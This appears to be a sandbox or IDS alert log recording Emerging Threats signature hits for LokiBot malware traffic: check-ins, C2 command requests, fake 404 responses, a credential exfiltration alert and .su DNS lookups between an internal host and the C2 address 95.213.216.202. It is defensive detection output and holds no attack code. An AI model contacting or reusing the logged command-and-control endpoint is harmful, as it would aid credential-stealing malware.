SID:	2021641
Source Port:	49712
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249753802021641 11/30/22-00:55:51.242717
SID:	2021641
Source Port:	49753
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249725802021641 11/30/22-00:54:59.930841
SID:	2021641
Source Port:	49725
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249748802024318 11/30/22-00:55:42.098367
SID:	2024318
Source Port:	49748
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249731802024313 11/30/22-00:55:10.632751
SID:	2024313
Source Port:	49731
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249748802024313 11/30/22-00:55:42.098367
SID:	2024313
Source Port:	49748
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.865196532014169 11/30/22-00:55:14.166464
SID:	2014169
Source Port:	65196
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249731802024318 11/30/22-00:55:10.632751
SID:	2024318
Source Port:	49731
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249708802825766 11/30/22-00:54:26.803652
SID:	2825766
Source Port:	49708
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249749802825766 11/30/22-00:55:43.976237
SID:	2825766
Source Port:	49749
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249743802024313 11/30/22-00:55:32.962709
SID:	2024313
Source Port:	49743
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249757802825766 11/30/22-00:55:58.948901
SID:	2825766
Source Port:	49757
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249743802024318 11/30/22-00:55:32.962709
SID:	2024318
Source Port:	49743
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249728802024318 11/30/22-00:55:05.285201
SID:	2024318
Source Port:	49728
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249750802025381 11/30/22-00:55:45.758418
SID:	2025381
Source Port:	49750
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249700802021641 11/30/22-00:54:09.487691
SID:	2021641
Source Port:	49700
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249728802024313 11/30/22-00:55:05.285201
SID:	2024313
Source Port:	49728
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249714802025381 11/30/22-00:54:39.977728
SID:	2025381
Source Port:	49714
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249724802825766 11/30/22-00:54:58.184483
SID:	2825766
Source Port:	49724
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249719802025381 11/30/22-00:54:49.641508
SID:	2025381
Source Port:	49719
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249756802024318 11/30/22-00:55:57.533680
SID:	2024318
Source Port:	49756
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249742802025381 11/30/22-00:55:31.101064
SID:	2025381
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249733802021641 11/30/22-00:55:14.244291
SID:	2021641
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249729802825766 11/30/22-00:55:07.068054
SID:	2825766
Source Port:	49729
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.857704532014169 11/30/22-00:54:41.979608
SID:	2014169
Source Port:	57704
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249715802024318 11/30/22-00:54:42.060768
SID:	2024318
Source Port:	49715
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249752802825766 11/30/22-00:55:49.378987
SID:	2825766
Source Port:	49752
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249756802024313 11/30/22-00:55:57.533680
SID:	2024313
Source Port:	49756
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249715802024313 11/30/22-00:54:42.060768
SID:	2024313
Source Port:	49715
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249751802024313 11/30/22-00:55:47.279515
SID:	2024313
Source Port:	49751
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249711802825766 11/30/22-00:54:33.859062
SID:	2825766
Source Port:	49711
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249751802024318 11/30/22-00:55:47.279515
SID:	2024318
Source Port:	49751
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249710802024318 11/30/22-00:54:31.910937
SID:	2024318
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249710802024313 11/30/22-00:54:31.910937
SID:	2024313
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249747802025381 11/30/22-00:55:40.214633
SID:	2025381
Source Port:	49747
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249701802025381 11/30/22-00:54:12.581436
SID:	2025381
Source Port:	49701
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249755802025381 11/30/22-00:55:55.653974
SID:	2025381
Source Port:	49755
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249729802021641 11/30/22-00:55:07.068054
SID:	2021641
Source Port:	49729
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497442025483 11/30/22-00:55:36.086250
SID:	2025483
Source Port:	80
Destination Port:	49744
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249735802024318 11/30/22-00:55:17.863854
SID:	2024318
Source Port:	49735
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.853049532014169 11/30/22-00:55:19.563471
SID:	2014169
Source Port:	53049
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249735802024313 11/30/22-00:55:17.863854
SID:	2024313
Source Port:	49735
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249744802024313 11/30/22-00:55:34.401351
SID:	2024313
Source Port:	49744
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497472025483 11/30/22-00:55:41.771804
SID:	2025483
Source Port:	80
Destination Port:	49747
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249744802024318 11/30/22-00:55:34.401351
SID:	2024318
Source Port:	49744
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249741802021641 11/30/22-00:55:29.247109
SID:	2021641
Source Port:	49741
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249704802825766 11/30/22-00:54:18.966132
SID:	2825766
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249746802025381 11/30/22-00:55:38.275174
SID:	2025381
Source Port:	49746
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249732802021641 11/30/22-00:55:12.457821
SID:	2021641
Source Port:	49732
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249699802024312 11/30/22-00:54:07.324934
SID:	2024312
Source Port:	49699
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249707802024313 11/30/22-00:54:24.716724
SID:	2024313
Source Port:	49707
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497062025483 11/30/22-00:54:24.053489
SID:	2025483
Source Port:	80
Destination Port:	49706
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497502025483 11/30/22-00:55:46.963833
SID:	2025483
Source Port:	80
Destination Port:	49750
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249699802024317 11/30/22-00:54:07.324934
SID:	2024317
Source Port:	49699
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249727802025381 11/30/22-00:55:03.486766
SID:	2025381
Source Port:	49727
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.865511532014169 11/30/22-00:55:27.103034
SID:	2014169
Source Port:	65511
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.864967532014169 11/30/22-00:55:58.869049
SID:	2014169
Source Port:	64967
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249721802025381 11/30/22-00:54:53.572062
SID:	2025381
Source Port:	49721
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249707802024318 11/30/22-00:54:24.716724
SID:	2024318
Source Port:	49707
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249713802021641 11/30/22-00:54:37.979213
SID:	2021641
Source Port:	49713
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249732802825766 11/30/22-00:55:12.457821
SID:	2825766
Source Port:	49732
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249751802825766 11/30/22-00:55:47.279515
SID:	2825766
Source Port:	49751
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497552025483 11/30/22-00:55:57.270722
SID:	2025483
Source Port:	80
Destination Port:	49755
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497582025483 11/30/22-00:56:00.797031
SID:	2025483
Source Port:	80
Destination Port:	49758
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497362025483 11/30/22-00:55:21.118367
SID:	2025483
Source Port:	80
Destination Port:	49736
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249703802024318 11/30/22-00:54:16.960834
SID:	2024318
Source Port:	49703
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249702802025381 11/30/22-00:54:14.871390
SID:	2025381
Source Port:	49702
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249703802024313 11/30/22-00:54:16.960834
SID:	2024313
Source Port:	49703
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.857134532014169 11/30/22-00:54:31.820802
SID:	2014169
Source Port:	57134
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249758802021641 11/30/22-00:56:00.034214
SID:	2021641
Source Port:	49758
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.858691532014169 11/30/22-00:54:53.455722
SID:	2014169
Source Port:	58691
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249736802825766 11/30/22-00:55:19.643476
SID:	2825766
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249705802025381 11/30/22-00:54:20.168790
SID:	2025381
Source Port:	49705
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497332025483 11/30/22-00:55:15.751744
SID:	2025483
Source Port:	80
Destination Port:	49733
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249745802825766 11/30/22-00:55:36.377571
SID:	2825766
Source Port:	49745
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497032025483 11/30/22-00:54:18.541620
SID:	2025483
Source Port:	80
Destination Port:	49703
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497142025483 11/30/22-00:54:41.602416
SID:	2025483
Source Port:	80
Destination Port:	49714
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249716802024313 11/30/22-00:54:43.829219
SID:	2024313
Source Port:	49716
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.859433532014169 11/30/22-00:54:56.376062
SID:	2014169
Source Port:	59433
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249757802024313 11/30/22-00:55:58.948901
SID:	2024313
Source Port:	49757
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249717802825766 11/30/22-00:54:45.540558
SID:	2825766
Source Port:	49717
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249722802024313 11/30/22-00:54:54.732179
SID:	2024313
Source Port:	49722
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249716802024318 11/30/22-00:54:43.829219
SID:	2024318
Source Port:	49716
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249759802025381 11/30/22-00:56:01.042444
SID:	2025381
Source Port:	49759
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249757802024318 11/30/22-00:55:58.948901
SID:	2024318
Source Port:	49757
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249723802825766 11/30/22-00:54:56.463103
SID:	2825766
Source Port:	49723
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249718802025381 11/30/22-00:54:47.592007
SID:	2025381
Source Port:	49718
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249730802025381 11/30/22-00:55:08.823725
SID:	2025381
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249704802021641 11/30/22-00:54:18.966132
SID:	2021641
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249722802024318 11/30/22-00:54:54.732179
SID:	2024318
Source Port:	49722
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249745802021641 11/30/22-00:55:36.377571
SID:	2021641
Source Port:	49745
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249714802024313 11/30/22-00:54:39.977728
SID:	2024313
Source Port:	49714
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249725802825766 11/30/22-00:54:59.930841
SID:	2825766
Source Port:	49725
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249700802025381 11/30/22-00:54:09.487691
SID:	2025381
Source Port:	49700
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249714802024318 11/30/22-00:54:39.977728
SID:	2024318
Source Port:	49714
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.858708532014169 11/30/22-00:55:15.985743
SID:	2014169
Source Port:	58708
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497282025483 11/30/22-00:55:06.759571
SID:	2025483
Source Port:	80
Destination Port:	49728
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249732802024318 11/30/22-00:55:12.457821
SID:	2024318
Source Port:	49732
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249707802825766 11/30/22-00:54:24.716724
SID:	2825766
Source Port:	49707
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497242025483 11/30/22-00:54:59.594972
SID:	2025483
Source Port:	80
Destination Port:	49724
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249732802024313 11/30/22-00:55:12.457821
SID:	2024313
Source Port:	49732
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

